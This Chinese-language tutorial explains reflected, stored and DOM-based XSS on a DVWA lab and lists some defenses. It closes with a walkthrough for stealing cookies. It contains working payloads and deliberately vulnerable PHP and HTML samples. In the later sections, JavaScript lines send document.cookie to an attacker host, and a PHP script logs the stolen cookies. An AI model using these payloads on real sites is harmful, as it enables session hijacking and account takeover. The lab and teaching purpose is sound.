0
点赞
收藏
分享

微信扫一扫

XSS跨站实战和分析

1.XSS简介

跨站脚本攻ji(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻ji者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻ji用户的目的。它常常与其他漏洞一起造成破坏性的后果。

2.XSS的分类

XSS漏洞表现为多种形式,并且分为三种类型:反射型、储存型,DOM型。这些有一些相同的特点,但是在如何确定和利用方面有一些区别,下面依次分析他们。

3.反射型XSS

反射型XXS是一种非持久性的攻ji,它指的是恶意攻ji者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻ji用户的目的。提取用户提交的输入并将其插入到服务器相应的html代码中,这是XSS漏洞的明显特征,如果应用程序没有实施任何过滤和净化,那么它很容易被攻ji。下面就用DVWA为大家进行演示,在输入框中构造如下JS代码

<script>alert('XSS')</script>

这代码是进行弹窗操作,如果页面出现弹窗,说明咱们插入的恶意代码被执行,结果如下图

XSS跨站实战和分析_html

进行这个简单的测试,有助于澄清两个重要问题,首先,name参数的内容可用任何返回给浏览器的数据代替,其次,无论服务器端应用程序如何处理这些数据,都无法阻止提交JS代码,一旦提交数据,这些代码就会执行。那该如何利用反射型XSS漏洞呢?

最简单的一种就是攻ji者截获通过验证用户的会话令牌。劫持用户的会话后,攻ji者就可以访问该用户经授权访问的所有数据和功能。下面为大家画图演示一下截获令牌的过程。

XSS跨站实战和分析_html_02

攻ji者创建的恶意代码为

var i=new Image; i.sRc="http://马赛克.com/"+document.cookie;

这段代码可以让用户浏览器向马赛克.com(攻ji者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌。本次先演示简单XSS代码如下

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
    <title>xss利用输出的环境构造代码</title>
</head>
<body>
<center>
    <h6>把输入的字符串输出</h6>
    <form action="#" method="get">
        <h6>请输入</h6>
        <input type="text" name="xss" value="请输入"><br />
        <input type="submit" value="确定">
    </form>
    <hr>
    <?php
        if (isset($_GET['xss'])) {
              echo '<input type="text" value="'.$_GET['xss'].'">';
        }else{
            echo '<input type="text" value="输出">';
        }
    ?>
</center>
</body>
</html>

那么下面,当输入"><script>alert(1)</script>时,输出到页面的HTML代码变为<input type="text" value=""><script>alert(1)</script>">我们发现,输入的双引号闭合了value属性的双引号,输入的>闭合了input的标签导致我们后面输入的恶意代码成为另一个HTML标签。当浏览器渲染时执行了<script>alert(1)</script>,JS函数alert()导致浏览器弹窗。<script< a="" style="box-sizing: border-box;">

XSS跨站实战和分析_xss_03


4.存储型XSS

如果一名用户提交的数据被保存到数据库中,然后不经过过滤或净化就显示给其他用户,这时候就会出现存储型XSS。利用存储型XSS漏洞至少需要向应用程序提出两个请求。攻ji者在第一个请求中构造JavaScript,应用程序接受并保存。在第二个请求中,一名受害者查看包含恶意代码的页面,这时JavaScript开始执行。依然是会话劫持,为大家画图演示一下。

XSS跨站实战和分析_html_04

因为存储型XSS是永久性的,所以往往造成更大的安全威胁。攻ji者可以向应用程序提交一些专门设计的数据,然后等待受害者访问它们。如果其中一位受害者是管理员,那么攻ji者可以完全攻破整个应用程序。先看代码,参考dvwa的核心代码。

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}

在上面代码中,获取POST参数mtxMessage和txtName,然后将将参数插入到数据库的表中,并显示到页面上。页面的功能是获取用户名字和内容并插入到数据库中,如果我们输入恶意代码,那么也会插入到数据库中,只有用户访问这个页面,那么恶意代码就会执行。

XSS跨站实战和分析_html_05

5.DOM型XSS

反射型和储存型XSS漏洞都表现出一种特殊的行为模式,其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。DOM型XSS没有这种特点,在这种漏洞中,攻ji者的JavaScript通过下面方式提交。

1,用户请求一个经过专门设计的URL,它由攻ji者提交,并且其中包含嵌入式JavaScript。

2,服务器的响应中并不以任何形式包含攻ji者的代码。

3,当用户的浏览器处理这个响应时,上述脚本得以处理。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document  object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

  • 先看代码

<html>
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8" />;
    <title>测试</title>
    <script type="text/javascript">
            function tihuan() {
                    document.getElementById("id1").innerHTML =document.getElementById("dom_input").value;
            }
    </script>
</head>
<body>
<center>
    <h6 id="id1">这里显示输入的内容</h6>
    <form action="#" method="post">
           <input type="text" id="dom_input" value="输入"><br />
           <input type="button" value="替换" onclick="tihuan()">
    </form>
    <hr>
</center>
</body>
</html>

DOM型XSS程序只有HTML代码,并不存在服务端代码,所以此程序并没有与服务端进行交互。程序存在JS函数tihuan(),该函数得作用是通过DOM操作将元素id1得内容修改为元素dom_input的内容。这个页面得功能是输入框中输入什么,上面得文字就会被替换成什么。

XSS跨站实战和分析_php_06

如果我们输入恶意代码,比如<img sRc=1 notallow=alert(/123/)>,单击替换按钮,页面弹出消息框,由于隐式输出,所以查看源代码时是看不到XSS代码的。

XSS跨站实战和分析_html_07

7.xss防御

一,对输入内容的特定字符进行过滤,例如 < > 等符号。

可以使用 htmlentities()函数,htmlspecialchars()函数

htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持不好,都不能转化,所以用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS,不能防止SQL注入。

二,对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

三, 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

四,后端接口也应该要做到关键字符过滤的问题。

8.几行代码实现cookie的盗取

8.1 介绍

文章中介绍了XSS(跨站脚本攻ji)简单原理与几种类型。接下来通过实例用几行代码实现cookie的盗取。

8.2 cookie盗取讲解

这里测试用的工具是DVWA(可以本地搭建,前面文章有介绍),和phpstudy。首先登陆DVWA,选择low模式,点击submit按钮。如下图

XSS跨站实战和分析_php_08

然后点击XSS(Reflected),首先输入 弹窗代码

<script>alert('XSS')</script>

然后界面弹窗,说明存在XSS跨站漏洞,如下图

XSS跨站实战和分析_html_09

接下来,打开phpstudy, 启动服务,点击创建网站,创建好之后,打开根目录,创建一个.php文件

XSS跨站实战和分析_xss_10

然后.php文件里添加下面代码

<?php
$cookie = $_GET['cookie'];          //以GET方式获取cookie
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");           //写入文件并保存
fclose($log);
?>

接下来在有XSS漏洞的地方,输入如下代码

<script>document.location='http://你的IP/getcookie.php?cookie='+document.cookie;</script>

XSS跨站实战和分析_html_11

受攻ji的服务器的cookie信息就会发送到攻ji者的服务器并保存

XSS跨站实战和分析_html_12

9.总结

一、安装phpstudy集成环境。

二、自己搭建有xss漏洞的站点进行测试,这里推荐DVWA

三、构造获取cookie的代码,就是简单的接收参数,和保存文件。

四、构造JavaScript代码,将受害者的cookie信息发送到攻ji者服务器。

五、查看保存的信息。

举报

相关推荐

0 条评论